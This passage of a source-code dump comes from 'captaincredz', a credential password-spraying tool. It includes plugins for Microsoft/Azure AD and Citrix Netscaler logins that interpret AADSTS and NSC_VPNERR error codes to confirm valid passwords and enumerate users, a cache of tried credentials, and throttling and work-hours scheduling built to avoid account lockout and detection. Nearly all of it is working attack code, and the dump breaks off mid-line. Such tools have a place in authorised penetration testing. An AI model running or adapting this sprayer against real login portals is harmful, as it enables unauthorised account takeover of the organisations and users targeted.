data_response['result'] = "success" 91 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The response indicates token access is blocked by CAP" 92 | 93 | elif "AADSTS50076" in error: 94 | # Microsoft MFA response 95 | data_response['result'] = "success" 96 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The response indicates MFA (Microsoft) is in use" 97 | 98 | elif "AADSTS50079" in error: 99 | # Microsoft MFA response 100 | data_response['result'] = "success" 101 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The response indicates MFA (Microsoft) must be onboarded!" 102 | 103 | elif "AADSTS50158" in error: 104 | # Conditional Access response (Based off of limited testing this seems to be the response to DUO MFA) 105 | data_response['result'] = "success" 106 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The response indicates conditional access (MFA: DUO or other) is in use." 107 | 108 | elif "AADSTS53003" in error and not "AADSTS530034" in error: 109 | # Conditional Access response as per https://github.com/dafthack/MSOLSpray/issues/5 110 | data_response['result'] = "success" 111 | data_response['output'] =f"SUCCESS ({error_code}): {username}:{password} - NOTE: The response indicates a conditional access policy is in place and the policy blocks token issuance." 112 | 113 | elif "AADSTS50053" in error: 114 | # Locked out account or Smart Lockout in place 115 | data_response['result'] = "potential" 116 | data_response['output'] = f"[?] WARNING ({error_code}): The account {username} appears to be locked." 117 | 118 | elif "AADSTS50055" in error: 119 | # User password is expired 120 | data_response['result'] = "success" 121 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The user's password is expired." 122 | 123 | elif "AADSTS50057" in error: 124 | # The user account is disabled 125 | data_response['result'] = "success" 126 | data_response['output'] = f"[+] SUCCESS ({error_code}): {username}:{password} - NOTE: The user is disabled." 127 | 128 | else: 129 | # Unknown errors 130 | data_response['result'] = "potential" 131 | data_response['output'] = f"[-] POTENTIAL ({error_code}): Got an error we haven't seen yet for user {username}" 132 | 133 | except Exception as ex: 134 | data_response['result'] = "failure" 135 | data_response['error'] = True 136 | data_response['output'] = str(ex.__repr__()) 137 | pass 138 | 139 | return data_response 140 | -------------------------------------------------------------------------------- /captaincredz/lib/cache.py: -------------------------------------------------------------------------------- 1 | import os, threading, sqlite3, datetime 2 | 3 | 4 | class Cache: 5 | RESULT_SUCCESS = 0 6 | RESULT_POTENTIAL = 1 7 | RESULT_FAILURE = 2 8 | RESULT_INEXISTANT = 3 9 | TRANSLATE = { 10 | "success": RESULT_SUCCESS, 11 | "potential": RESULT_POTENTIAL, 12 | "failure": RESULT_FAILURE, 13 | "inexistant": RESULT_INEXISTANT, 14 | } 15 | TRANSLATE_INV = { 16 | RESULT_SUCCESS: "success", 17 | RESULT_POTENTIAL: "potential", 18 | RESULT_FAILURE: "failure", 19 | RESULT_INEXISTANT: "inexistant", 20 | } 21 | WRITEBACK_DIFF_THRESHOLD = 5 22 | 23 | def __init__(self, cache_file="cache.db"): 24 | self.L1 = dict() 25 | self.lock = threading.Lock() 26 | self.cache_file = cache_file 27 | self.error = None 28 | self.diff = 0 29 | if os.path.exists(self.cache_file) and not os.path.isfile(self.cache_file): 30 | self.error = ( 31 | f"The cache path ({self.cache_file}) already exists and is not a file." 32 | ) 33 | if self.error is None: 34 | conn = None 35 | try: 36 | conn = sqlite3.connect(self.cache_file) 37 | except: 38 | self.error = "The cache file cannot be loaded by SQLite." 39 | if self.error is None: 40 | conn.cursor().execute( 41 | """ 42 | CREATE TABLE IF NOT EXISTS cache ( 43 | id INTEGER PRIMARY KEY, 44 | timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP NOT NULL, 45 | username TEXT NOT NULL, 46 | password TEXT NOT NULL, 47 | result INTEGER NOT NULL, 48 | output TEXT NOT NULL, 49 | plugin TEXT NOT NULL 50 | ) 51 | """ 52 | ) 53 | conn.commit() 54 | 55 | # Fill L1 cache 56 | self.lock.acquire() 57 | recs = conn.cursor().execute("SELECT * from cache").fetchall() 58 | for data in recs: 59 | id, ts, username, passwd, res, out, plugin = data 60 | if not plugin in self.L1: 61 | self.L1[plugin] = dict() 62 | if not username in self.L1[plugin]: 63 | self.L1[plugin][username] = dict() 64 | self.L1[plugin][username][passwd] = { 65 | "timestamp": ts, 66 | "result": res, 67 | "output": out, 68 | "in_db": True, 69 | } 70 | self.lock.release() 71 | 72 | def write_back(self): 73 | self.lock.acquire() 74 | conn = sqlite3.connect(self.cache_file) 75 | for plugin in self.L1: 76 | for username in self.L1[plugin]: 77 | for password in self.L1[plugin][username]: 78 | if not self.L1[plugin][username][password]["in_db"]: 79 | rec = self.L1[plugin][username][password] 80 | conn.cursor().execute( 81 | """ 82 | INSERT INTO cache ( 83 | timestamp, 84 | username, 85 | password, 86 | result, 87 | output, 88 | plugin 89 | ) VALUES (?,?,?,?,?,?) 90 | """, 91 | ( 92 | rec["timestamp"], 93 | username, 94 | password, 95 | rec["result"], 96 | rec["output"], 97 | plugin, 98 | ), 99 | ) 100 | self.L1[plugin][username][password]["in_db"] = True 101 | conn.commit() 102 | self.diff = 0 103 | self.lock.release() 104 | 105 | def add_tentative(self, username, password, timestamp, result, output, plugin): 106 | if not plugin in self.L1: 107 | self.L1[plugin] = dict() 108 | if not username in self.L1[plugin]: 109 | self.L1[plugin][username] = dict() 110 | self.lock.acquire() 111 | if type(result) == str: 112 | result = Cache.TRANSLATE[result] 113 | self.L1[plugin][username][password] = { 114 | "timestamp": timestamp, 115 | "result": result, 116 | "output": output, 117 | "in_db": False, 118 | } 119 | self.diff += 1 120 | self.lock.release() 121 | if self.diff > Cache.WRITEBACK_DIFF_THRESHOLD: 122 | self.write_back() 123 | 124 | def user_exists(self, username, plugin): 125 | if not plugin in self.L1: 126 | return True 127 | if not username in self.L1[plugin]: 128 | return True 129 | for p in self.L1[plugin][username]: 130 | if self.L1[plugin][username][p]["result"] == Cache.RESULT_INEXISTANT: 131 | return False 132 | return True 133 | 134 | def user_exists_multiplugin(self, _username_list, _plugin_list): 135 | assert len(_username_list) == len(_plugin_list) 136 | username_list = list(_username_list) 137 | plugin_list = list(_plugin_list) 138 | r = True 139 | for i in range(len(username_list)): 140 | r &= self.user_exists(username_list[i], plugin_list[i]) 141 | return r 142 | 143 | def user_success(self, username, plugin): 144 | if not plugin in self.L1: 145 | return False 146 | if not username in self.L1[plugin]: 147 | return False 148 | for p in self.L1[plugin][username]: 149 | if self.L1[plugin][username][p]["result"] == Cache.RESULT_SUCCESS: 150 | return True 151 | return False 152 | 153 | def user_success_multiplugin(self, _username_list, _plugin_list): 154 | assert len(_username_list) == len(_plugin_list) 155 | username_list = list(_username_list) 156 | plugin_list = list(_plugin_list) 157 | r = False 158 | for i in range(len(username_list)): 159 | r |= self.user_success(username_list[i], plugin_list[i]) 160 | return r 161 | 162 | def get_last_user_timestamp(self, username, plugin): 163 | if not plugin in self.L1: 164 | return 0 165 | if not username in self.L1[plugin]: 166 | return 0 167 | ts = 0 168 | for p in self.L1[plugin][username]: 169 | ts = max(ts, self.L1[plugin][username][p]["timestamp"]) 170 | return ts 171 | 172 | def get_last_user_timestamp_multiplugin(self, _username_list, _plugin_list): 173 | assert len(_username_list) == len(_plugin_list) 174 | username_list = list(_username_list) 175 | plugin_list = list(_plugin_list) 176 | x = 0 177 | for i in range(len(username_list)): 178 | x = max(x, self.get_last_user_timestamp(username_list[i], plugin_list[i])) 179 | return x 180 | 181 | def get_last_plugin_timestamp(self, plugin): 182 | if not plugin in self.L1: 183 | return 0 184 | ts = 0 185 | for u in self.L1[plugin]: 186 | for p in self.L1[plugin][u]: 187 | ts = max(ts, self.L1[plugin][u][p]["timestamp"]) 188 | return ts 189 | 190 | def query_creds(self, username, password, plugin): 191 | if not plugin in self.L1: 192 | return None 193 | if not username in self.L1[plugin]: 194 | return None 195 | if not password in self.L1[plugin][username]: 196 | return None 197 | return self.L1[plugin][username][password] 198 | 199 | def query_creds_multiplugin(self, _username_list, password, _plugin_list): 200 | assert len(_username_list) == len(_plugin_list) 201 | username_list = list(_username_list) 202 | plugin_list = list(_plugin_list) 203 | for i in range(len(username_list)): 204 | x = self.query_creds(username_list[i], password, plugin_list[i]) 205 | if x is not None: 206 | return x 207 | return None 208 | -------------------------------------------------------------------------------- /captaincredz/plugins/citrix/__init__.py: -------------------------------------------------------------------------------- 1 | import xml.etree.ElementTree as ET 2 | 3 | class Plugin: 4 | def __init__(self, requester, pluginargs): 5 | self.requester = requester 6 | self.pluginargs = pluginargs 7 | 8 | def validate(self): 9 | """ 10 | This functions verifies if the plugin args are correctly defined 11 | """ 12 | 13 | if not "url" in self.pluginargs.keys(): 14 | return False, "You must provide a valid Citrix Netscaler Gateway URL (Ex: https://target.com/p/u or https://target.com/nf/auth)" 15 | else: 16 | return True, None 17 | 18 | def testconnect(self, useragent): 19 | """ 20 | This functions verifies if everything is good network-wise 21 | """ 22 | 23 | r = self.requester.post(self.pluginargs["url"]+"/getAuthenticationRequirements.do", headers = {"User-Agent": useragent}) 24 | if r.status_code == 200: 25 | root = ET.fromstring(r.text) 26 | stateContext = root.find(".//{*}StateContext") 27 | if stateContext != None: 28 | self.pluginargs["authRequirements"] = r # Save authentication requirements 29 | return True 30 | else: 31 | return False 32 | else: 33 | return False 34 | 35 | def test_authenticate(self, username, password, useragent): 36 | """ 37 | This functions authenticates 38 | """ 39 | 40 | # TODO: Validate each response with returned values to a dedicated local environment (if possible) 41 | 42 | data_response = { 43 | "result": None, # either "success", "inexistant", "potential" or "failure" 44 | "error": False, # if there's an error (to indicate that a retry is needed) 45 | "output": None, # return message 46 | "request": None, # represents the request, useful for example to print the cookies obtained 47 | } 48 | 49 | # User enum and verbose error message 50 | # https://pwn.no0.be/recon/citrix/enum_users/ 51 | # https://jamesonhacking.blogspot.com/2018/11/password-spraying-citrix-netscalers-by.html 52 | # https://www.citrix.com/blogs/2014/06/11/enhanced-authentication-feedback/ 53 | # Format = data_response['result'], data_response['output'] 54 | NSC_VPNERR = { 55 | "4001": ["failure", "Incorrect user name or password"], 56 | "4002": ["potential", "You do not have permission to log on"], 57 | "4003": ["failure", "Cannot connect to server. Try connecting again in a few minutes"], 58 | "4004": ["failure", "Cannot connect. Try connecting again"], 59 | "4005": ["failure", "Cannot connect. Try connecting again"], 60 | "4006": ["inexistant", "Incorrect user name"], 61 | "4007": ["failure", "Incorrect password"], 62 | "4008": ["failure", "Passwords do not match"], 63 | "4009": ["inexistant", "User not found"], 64 | "4010": ["potential", "You do not have permission to log on at this time"], 65 | "4011": ["potential", "Your account is disabled"], 66 | "4012": ["potential", "Your password has expired"], 67 | "4013": ["potential", "You do not have permission to log on"], 68 | "4014": ["potential", "Could not change your password"], 69 | "4015": ["potential", "Your account is temporarily locked"], 70 | "4016": ["potential", "Could not update your password. The password must meet the length, complexity, and history requirements of the domain"], 71 | "4017": ["failure", "Unable to process your request"], 72 | "4018": ["potential", "Your device failed to meet compliance requirements. Please check with your administrator"], 73 | "4019": ["potential", "Your device is not managed. Please check with your administrator"] 74 | } 75 | 76 | def getDisplayValues(requirement): 77 | res = [] 78 | for displayValue in requirement.findall('.//{*}DisplayValue'): 79 | value = displayValue.find('./{*}Value') 80 | if value != None and value.text != None and value.text != '': 81 | res += [value.text] 82 | 83 | return res 84 | 85 | try: 86 | 87 | r = self.pluginargs["authRequirements"] 88 | data_response['request'] = r 89 | 90 | # Parse required login parameters 91 | 92 | validParams = True 93 | data = {} 94 | root = ET.fromstring(r.text) 95 | stateContext = root.find(".//{*}StateContext").text 96 | data["StateContext"] = stateContext 97 | for requirement in root.findall('.//{*}Requirement'): 98 | param = requirement.find('./{*}Credential/{*}ID') 99 | label = requirement.find('./{*}Label/{*}Text') 100 | button = requirement.find('./{*}Input/{*}Button') 101 | 102 | if param is not None and param.text != None and param.text != '': 103 | param = param.text 104 | if param.lower() == "login": 105 | data[param] = username 106 | elif param.lower() == "passwd": 107 | data[param] = password 108 | elif param.lower() == "savecredentials": 109 | data[param] = "false" 110 | elif param.lower() == "FIXME": 111 | # FIXME: Here you can handle additional parameters if required, otherwise validParams will be set to False and no authentication requests will be send 112 | # Common additional parameters are: domain, passwd1 (2FA for example), etc. 113 | pass 114 | else: 115 | if button is None: 116 | validParams = False 117 | displayValues = getDisplayValues(requirement) 118 | break 119 | else: 120 | if button.text != None and button.text != '': 121 | data[param] = button.text 122 | else: 123 | data[param] = "Log on" 124 | 125 | if not validParams: # An additional parameter is required to login but not handled 126 | 127 | data_response['result'] = 'failure' 128 | if label != None: 129 | if label.text != None and label.text != '': 130 | label = label.text 131 | else: 132 | label = 'None' 133 | if displayValues == []: 134 | data_response['output'] = f"Parameter '{param}' (Label = '{label}') required by the server and not handled. No possible values found. Edit 'FIXME' into the plugin to handle It" 135 | else: 136 | data_response['output'] = f"Parameter '{param}' (Label = '{label}') required by the server and not handled. Possible values = {displayValues}. Edit 'FIXME' into the plugin to handle It" 137 | 138 | else: 139 | 140 | # Send the login request 141 | 142 | headers = { 143 | "User-Agent": useragent, 144 | "X-Citrix-Am-Credentialtypes": "none, username, domain, password, newpassword, passcode, savecredentials, textcredential, webview, negotiate, nsg_push, nsg_push_otp, nf_sspr_rem, nsg-epa, nsg-epa-v2, nsg-x1, nsg-setclient, nsg-eula, nsg-tlogin, nsg-fullvpn, nsg-hidden, nsg-auth-failure, nsg-auth-success, nsg-epa-success, nsg-l20n, GoBack, nf-recaptcha, ns-dialogue, nf-gw-test, nf-poll, nsg_qrcode, nsg_manageotp" 145 | } 146 | 147 | r = self.requester.post(self.pluginargs["url"]+"/doAuthentication.do", headers = headers, data = data) 148 | data_response['request'] = r 149 | errorCodeCookie = r.cookies.get("NSC_VPNERR") 150 | 151 | if errorCodeCookie == None: # No NSC_VPNERR cookie returned => Parse the XML node 152 | 153 | # https://developer-docs.citrix.com/en-us/storefront/citrix-storefront-authentication-sdk/common-authentication-forms-language.html 154 | root = ET.fromstring(r.text) 155 | result = root.find(".//{*}Result").text 156 | 157 | if result in ["success", "update-credentials"]: # Authentication succeeded 158 | 159 | data_response['result'] = "success" 160 | data_response['output'] = f"Valid account found" 161 | 162 | else: # Authentication failed 163 | 164 | if result == "more-info": # Try to extract error message 165 | 166 | data_response['result'] = "failure" 167 | data_response['output'] = f"Authentication failed. Return status: {result}" 168 | 169 | for requirement in root.findall('.//{*}Requirement'): 170 | label = requirement.find('./{*}Label') 171 | if label != None: 172 | text = label.find('./{*}Text') 173 | type = label.find('./{*}Type') 174 | if type != None and type.text != None and type.text != '' and 'error' in type.text.lower(): # Known error types: 'nsg-l20n-error', 'l20n-error', 'error' 175 | if text != None and text.text != None and text.text != '': 176 | text = text.text 177 | if text.startswith('errorMessageLabel'): # We can use the NSC_VPNERR table 178 | 179 | errorCodeText = text.split('errorMessageLabel')[1].split('')[0] 180 | errorInfo = NSC_VPNERR.get(errorCodeText) 181 | 182 | if errorInfo == None: # NSC_VPNERR error code unknown 183 | 184 | data_response['error'] = True 185 | data_response['output'] = f"Unknown NSC_VPNERR error code: {errorCodeText}. Check target's error codes at /logon/themes/Default/resources/en.xml" 186 | 187 | else: # NSC_VPNERR error code known => Return response 188 | 189 | data_response['result'] = errorInfo[0] 190 | data_response['output'] = errorInfo[1] 191 | 192 | else: # It may contains the error message directly 193 | 194 | data_response['output'] = text 195 | 196 | else: # No additional information provided 197 | 198 | data_response['result'] = "failure" 199 | data_response['output'] = f"Authentication failed. Return status: {result}" 200 | 201 | else: # NSC_VPNERR cookie returned => Authentication failed. Parse the cookie 202 | 203 | errorInfo = NSC_VPNERR.get(errorCodeCookie) 204 | 205 | if errorInfo == None: # NSC_VPNERR error code unknown 206 | 207 | data_response['error'] = True 208 | data_response['output'] = f"Unknown NSC_VPNERR error code: {errorCodeCookie}. Check target's error codes at /logon/themes/Default/resources/en.xml" 209 | 210 | else: # NSC_VPNERR error code known => Return response 211 | 212 | data_response['result'] = errorInfo[0] 213 | data_response['output'] = errorInfo[1] 214 | 215 | except Exception as ex: 216 | 217 | data_response['error'] = True 218 | data_response['output'] = str(ex.__repr__()) 219 | 220 | return data_response -------------------------------------------------------------------------------- /captaincredz/lib/pool.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import random 3 | import time 4 | from queue import deque 5 | import datetime 6 | import csv 7 | 8 | 9 | class User: 10 | def __init__(self): 11 | self.usernames = [] 12 | self.passwords = deque([]) 13 | self.inflight = [] 14 | self.trimmed = False 15 | self.ready = True 16 | 17 | def __str__(self): 18 | ret = "Usernames: " + str(self.usernames) + "\n" 19 | ret += "\tPasswords: " + str(self.passwords) + "\n" 20 | ret += "\tInflight: " + str(self.inflight) + "\n" 21 | ret += "\tTrimmed: " + str(self.trimmed) + "\n" 22 | ret += "\tReady: " + str(self.ready) + "\n" 23 | ret += "\tID: " + str(id(self)) + "\n" 24 | return ret 25 | 26 | def __repr__(self): 27 | return self.__str__() 28 | 29 | 30 | class CredSet: 31 | def __init__(self): 32 | self.users = [] # [User] 33 | 34 | def add_user(self, usernames=None, passwords=None): 35 | if usernames is None: 36 | usernames = [] 37 | if passwords is None: 38 | passwords = [] 39 | 40 | # Merge user if it exists (like upsert) 41 | exists = False 42 | u = None 43 | for _u in self.users: 44 | if all([a == b for a, b in zip(_u.usernames, usernames)]): 45 | u = _u 46 | exists = True 47 | break 48 | 49 | if exists: 50 | u.passwords.extend(passwords) 51 | else: 52 | u = User() 53 | u.usernames = usernames 54 | u.passwords = deque(passwords) 55 | u.inflight = [] 56 | u.trimmed = False 57 | u.ready = True 58 | self.users.append(u) 59 | 60 | def add_password(self, password): 61 | for u in self.users: 62 | u.passwords.append(password) 63 | 64 | def add_passwords(self, passwords): 65 | for u in self.users: 66 | u.passwords.extend(passwords) 67 | 68 | def get_next_user(self): 69 | maxLen = -1 70 | maxI = -1 71 | for i in range(len(self.users)): 72 | if ( 73 | self.users[i].ready 74 | and not self.users[i].trimmed 75 | and len(self.users[i].passwords) > maxLen 76 | ): 77 | maxLen = len(self.users[i].passwords) 78 | maxI = i 79 | if maxLen > 0: 80 | p = self.users[maxI].passwords.popleft() 81 | self.users[maxI].inflight.append(p) 82 | self.users[maxI].ready = False 83 | return self.users[maxI].usernames, p 84 | else: 85 | return None, None 86 | 87 | def garbage_collect(self): 88 | self.users = [u for u in self.users if not u.trimmed] 89 | 90 | def trim_user(self, username, plugin_id): 91 | for u in self.users: 92 | if u.usernames[plugin_id] == username: 93 | u.trimmed = True 94 | break 95 | 96 | @property 97 | def finished(self): 98 | return all([u.trimmed for u in self.users]) 99 | 100 | @property 101 | def length(self): 102 | return sum( 103 | [len(u.passwords) + len(u.inflight) for u in self.users if not u.trimmed] 104 | ) 105 | 106 | 107 | class Sleeper: 108 | SLEEP_INTERVAL = 2 109 | WW_SLEEP_INTERVAL = 60 110 | 111 | def __init__(self, delays, start_date): 112 | self._delays = delays 113 | self._cancelled = False 114 | self._start_date = start_date 115 | 116 | def ww_calc_factor(self): 117 | if self._delays["ww"] is None: 118 | return 1 119 | now = datetime.datetime.now( 120 | datetime.timezone( 121 | datetime.timedelta(hours=self._delays["ww"]["utc_offset"]) 122 | ) 123 | ) 124 | day_factor = Sleeper.clamp( 125 | self._delays["ww"]["days_factor"][now.strftime("%A")[:3].lower()], 0, 1 126 | ) 127 | hour_factor = Sleeper.clamp( 128 | self._delays["ww"]["hours_factor"][str(now.hour)], 0, 1 129 | ) 130 | rampup_factor = (datetime.datetime.now() - self._start_date).total_seconds() / ( 131 | 24 * 60 * 60 132 | ) 133 | rampup_factor = rampup_factor * (self._delays["ww"]["daily_speedup"] - 1) + 1 134 | rampup_factor = rampup_factor * self._delays["ww"]["initial_speed"] 135 | rampup_factor = min(rampup_factor, 1) 136 | total_factor = day_factor * hour_factor * rampup_factor 137 | # Should never be useful, but there in any case 138 | total_factor = Sleeper.clamp(total_factor, 0, 1) 139 | return total_factor 140 | 141 | def cancellable_sleep(self, sec): 142 | delay_total = sec 143 | delay_turns = round(delay_total // Sleeper.SLEEP_INTERVAL) 144 | for _ in range(delay_turns): 145 | if self._cancelled: 146 | return False 147 | time.sleep(Sleeper.SLEEP_INTERVAL) 148 | if self._cancelled: 149 | return False 150 | time.sleep(delay_total % Sleeper.SLEEP_INTERVAL) 151 | return True 152 | 153 | def weighted_cancellable_sleep(self, t): 154 | to_sleep_time = t 155 | slept_time = 0 156 | while slept_time < to_sleep_time and not self._cancelled: 157 | f = self.ww_calc_factor() 158 | s = Sleeper.WW_SLEEP_INTERVAL 159 | if f > 0.01: 160 | s = min(s, (to_sleep_time - slept_time) / f) 161 | self.cancellable_sleep(s) 162 | slept_time += s * f 163 | return not self._cancelled 164 | 165 | def user_sleep(self, custom_delay=None): 166 | if self._cancelled: 167 | return 168 | d = self._delays["user"] 169 | if custom_delay is not None: 170 | d = custom_delay 171 | sleep_time = d + random.random() * self._delays["jitter"] 172 | self.weighted_cancellable_sleep(sleep_time) 173 | 174 | def request_sleep(self, t=None): 175 | if self._cancelled: 176 | return 177 | if t is None: 178 | t = self._delays["req"] + random.random() * self._delays["jitter"] 179 | self.weighted_cancellable_sleep(t) 180 | 181 | def chunk_sleep(self): 182 | if self._cancelled: 183 | return 184 | sleep_time = ( 185 | self._delays["chunk_delay"] + random.random() * self._delays["jitter"] 186 | ) 187 | self.weighted_cancellable_sleep(sleep_time) 188 | 189 | @staticmethod 190 | def clamp(x, m, M): 191 | return max(m, min(M, x)) 192 | 193 | 194 | class Pool: 195 | CSV_DELIMITER = ";" 196 | USERPASS_DELIMITER = ":" 197 | 198 | def __init__( 199 | self, userfile, passwordfile, userpassfile, delays, cache, workers, logger 200 | ): 201 | self.cache = cache 202 | self.logger = logger 203 | self.workers = workers 204 | self.cancelled = False 205 | self.get_creds_lock = threading.Lock() 206 | self.chunk_count = 0 207 | self.attempts_count = 0 208 | 209 | self.credset = CredSet() 210 | self.sleeper = Sleeper(delays, datetime.datetime.now()) 211 | 212 | # I'm not smart here so that this is trivially correct and not overengineered 213 | # It can be improved by filtering with cache when creating, but it implies more complex code 214 | 215 | # Step 1 : Create everything 216 | if userfile is not None: 217 | with open(userfile, "r") as f: 218 | for username_list in csv.reader(f, delimiter=Pool.CSV_DELIMITER): 219 | self.credset.add_user(usernames=username_list) 220 | if userpassfile is not None: 221 | with open(userpassfile, "r") as f: 222 | x = [ 223 | up.rstrip("\n").split(Pool.USERPASS_DELIMITER, 1) 224 | for up in f.readlines() 225 | ] 226 | for ulp in x: 227 | assert len(ulp) == 2 228 | ul, p = ulp 229 | self.credset.add_user( 230 | usernames=ul.split(Pool.CSV_DELIMITER), passwords=[p] 231 | ) 232 | if passwordfile is not None: 233 | with open(passwordfile, "r") as f: 234 | self.credset.add_passwords( 235 | [ 236 | p.rstrip("\r\t\n") 237 | for p in f.readlines() 238 | if len(p.rstrip("\r\t\n")) > 0 239 | ] 240 | ) 241 | 242 | # Step 2 : Remove the cache hits from the creds set 243 | # 2.1 : remove inexistant and successful users 244 | plugins = [w.plugin for w in self.workers] 245 | for user in self.credset.users: 246 | usernames = user.usernames 247 | exists = self.cache.user_exists_multiplugin(usernames, plugins) 248 | already_success = self.cache.user_success_multiplugin(usernames, plugins) 249 | if not (exists and not already_success): 250 | reason = "captaincredz already found their password" 251 | if not exists: 252 | reason = "this user does not exist / is invalid" 253 | self.logger.debug(f"{usernames} is ignored because " + reason) 254 | user.trimmed = True 255 | # 2.2 : remove already tried passwords for the rest of users 256 | for user in self.credset.users: 257 | usernames = user.usernames 258 | filtered_passwords = [] 259 | for p in user.passwords: 260 | cache_result = self.cache.query_creds_multiplugin(usernames, p, plugins) 261 | if cache_result is None: 262 | filtered_passwords.append(p) 263 | user.passwords = deque(filtered_passwords) 264 | self.credset.garbage_collect() 265 | 266 | # Step 3 : Set the ready state with the last timestamp for each user 267 | ts_now = datetime.datetime.now().timestamp() 268 | for user in self.credset.users: 269 | usernames = user.usernames 270 | last_timestamp = self.cache.get_last_user_timestamp_multiplugin( 271 | usernames, plugins 272 | ) 273 | last_sprayed_delay = ts_now - last_timestamp 274 | if last_sprayed_delay < self.sleeper._delays["user"]: 275 | self.logger.debug(f"{usernames} was last tried {int(last_sprayed_delay)} (< delay_user) seconds ago according to the cache, will wait {self.sleeper._delays['user'] - last_sprayed_delay} seconds before spraying them") 276 | user.ready = False 277 | threading.Thread( 278 | target=self.user_delay_thread, 279 | args=(user, self.sleeper._delays["user"] - last_sprayed_delay), 280 | ).start() 281 | 282 | def apply_delays(self, user): 283 | if self.cancelled: 284 | return 285 | thread_request = threading.Thread(target=self.request_delay_thread) 286 | thread_user = threading.Thread(target=self.user_delay_thread, args=(user,)) 287 | thread_request.start() 288 | thread_user.start() 289 | 290 | def user_delay_thread(self, user, custom_delay=None): 291 | self.sleeper.user_sleep(custom_delay) 292 | try: 293 | user.ready = True 294 | except: 295 | # user was probably trimmed during sleep or something 296 | pass 297 | 298 | def request_delay_thread(self, t=None): 299 | self.chunk_count += 1 300 | if ( 301 | self.sleeper._delays["chunk_size"] > 0 302 | and self.chunk_count >= self.sleeper._delays["chunk_size"] 303 | ): 304 | self.chunk_count = 0 305 | self.sleeper.chunk_sleep() 306 | self.sleeper.request_sleep(t) 307 | 308 | try: 309 | self.get_creds_lock.release() 310 | except Exception as ex: 311 | if "unlocked lock" in str(ex): 312 | pass # OK 313 | else: 314 | pass # Weird 315 | 316 | def trim_user(self, username, worker_id): 317 | self.logger.debug(f"Trimming {username}") 318 | self.credset.trim_user(username, worker_id) 319 | 320 | def get_creds(self, filtered_workers): 321 | if self.cancelled: 322 | return None, None 323 | self.get_creds_lock.acquire() 324 | 325 | # Start off by picking an available worker 326 | try: 327 | worker_id = random.choices( 328 | range(len(filtered_workers)), [w.weight for w in filtered_workers] 329 | )[0] 330 | except: 331 | self.logger.debug( 332 | f"Workers are all finished, will not return any more credz..." 333 | ) 334 | return None, None 335 | 336 | # Then pick a username/password 337 | usernames = None 338 | password = None 339 | while usernames is None and not self.cancelled: 340 | usernames, password = self.credset.get_next_user() 341 | if usernames is None: 342 | self.credset.garbage_collect() 343 | time.sleep(Sleeper.SLEEP_INTERVAL) 344 | if self.credset.length == 0: 345 | self.stop() 346 | if usernames is None: 347 | try: 348 | self.get_creds_lock.release() 349 | except Exception as ex: 350 | if "unlocked lock" in str(ex): 351 | pass # OK 352 | else: 353 | print("BBBB") 354 | pass # Weird 355 | return None, None 356 | 357 | username = usernames[filtered_workers[worker_id].id] 358 | 359 | self.attempts_count += 1 360 | return {"username": username, "password": password}, worker_id 361 | 362 | def signal_tried(self, username, password, plugin_id, error=False): 363 | if error: 364 | self.attempts_count -= 1 365 | user = None 366 | for u in self.credset.users: 367 | if u.usernames[plugin_id] == username: 368 | user = u 369 | break 370 | if user is None: 371 | if self.get_total_size() == 0: 372 | self.stop() 373 | return 374 | 375 | try: 376 | user.inflight.remove(password) 377 | except: 378 | pass 379 | 380 | self.apply_delays(user) 381 | if error: 382 | user.passwords.appendleft(password) 383 | else: 384 | if self.get_total_size() == 0: 385 | self.stop() 386 | 387 | def stop(self): 388 | self.cancelled = True 389 | self.sleeper._cancelled = True 390 | 391 | def get_total_size(self): 392 | return self.credset.length 393 | -------------------------------------------------------------------------------- /captaincredz/lib/engine.py: -------------------------------------------------------------------------------- 1 | import json 2 | import os 3 | import threading 4 | import signal 5 | import sys 6 | import importlib 7 | from pprint import pprint 8 | from .cache import Cache 9 | from .logger import Logger 10 | from .pool import Pool 11 | from .requester import Requester 12 | from .worker import Worker 13 | 14 | 15 | class Engine: 16 | def __init__(self, args): 17 | self._logger = None 18 | self._stopped = False 19 | self._progress_bar = None 20 | self._post_actions = dict() 21 | self._workers = [] # One worker per plugin instance 22 | default_args = { 23 | "plugins": None, 24 | "post_actions": None, 25 | "userfile": None, 26 | "passwordfile": None, 27 | "userpassfile": None, 28 | "jitter": 0, 29 | "delay_req": 0, 30 | "delay_user": 0, 31 | "chunk_size": 0, 32 | "chunk_delay": 0, 33 | "stop_on_success": False, 34 | "stop_worker_on_success": False, 35 | "log_file": "captaincredz.log", 36 | "cache_file": "cache.db", 37 | "verbose": False, 38 | "weekday_warrior": None, 39 | } 40 | plugin_default_args = { 41 | "args": [], 42 | "headers": dict(), 43 | "proxy": None, 44 | "useragentfile": None, 45 | "weight": 1, 46 | "req_timeout": 60, 47 | } 48 | 49 | self.args = {**default_args, **args.__dict__} 50 | if self.args["config"] != None: 51 | try: 52 | with open(self.args["config"], "r") as f: 53 | j = json.load(f) 54 | for k in j: 55 | if j[k] is not None: 56 | self.args[k] = j[k] 57 | except: 58 | print("The main config file cannot be loaded, aborting") 59 | self._valid_args = False 60 | return 61 | if self.args["weekday_warrior"] != None: 62 | try: 63 | with open(self.args["weekday_warrior"], "r") as f: 64 | self.args["weekday_warrior"] = json.load(f) 65 | except: 66 | print("The weekday warrior config file cannot be loaded, aborting") 67 | self._valid_args = False 68 | return 69 | 70 | self._logger = Logger(self.args["log_file"], verbose=self.args["verbose"]) 71 | self._valid_args = self.check_args() 72 | if not self._valid_args: 73 | return 74 | 75 | # Initialize post-actions 76 | if self.args["post_actions"] is not None: 77 | for action_name in self.args["post_actions"].keys(): 78 | action = self.args["post_actions"][action_name] 79 | for hook in action["trigger"]: 80 | if hook not in self._post_actions.keys(): 81 | # If hook does not exist in the post_action dict, we create it 82 | self._post_actions[hook] = [] 83 | 84 | # In any case, we add the current action to the list associated with the hook being processed 85 | d = { 86 | "module": importlib.import_module( 87 | f".post_actions.{action_name}", 88 | package='captaincredz' 89 | ), 90 | "params": action.get("params"), 91 | "name": action_name, 92 | } 93 | self._post_actions[hook].append(d) 94 | 95 | # Initialize plugins 96 | for i in range(len(self.args["plugins"])): 97 | for k in plugin_default_args: 98 | if not k in self.args["plugins"][i].keys(): 99 | self.args["plugins"][i][k] = 